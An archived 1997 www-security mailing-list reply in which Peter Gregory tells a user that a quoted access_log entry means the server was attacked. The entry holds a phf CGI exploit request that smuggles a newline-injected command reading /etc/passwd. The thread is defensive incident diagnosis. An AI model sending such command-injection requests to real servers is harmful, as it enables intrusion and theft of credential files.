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Re: What's this ?

daemon@ATHENA.MIT.EDU (Peter Gregory)
Wed Apr 16 18:32:47 1997

Date: Wed, 16 Apr 1997 12:49:31 -0700
From: peter.gregory-unix@mccaw-stg.com (Peter Gregory)
To: www-security@ns2.rutgers.edu, kaoc@hep3.phys.sinica.edu.tw
Errors-To: owner-www-security@ns2.rutgers.edu

>     What does it mean ? if you find such messages in your access_log..
>     ps. my httpd is the NCSA version.
> 
> ip014.dialup.ntu.edu.tw - - [30/Jan/1997:18:50:58 +0800] "GET 
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd HTTP/1.0" 200 644

You've been hacked.  Someone tried (and was perhaps successful) to get
your passwd file.

-pg

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Peter Gregory  [NICname PG11]  peter.gregory@attws.com
IT Manager, AT&T Wireless Services, Strategic Technologies Group

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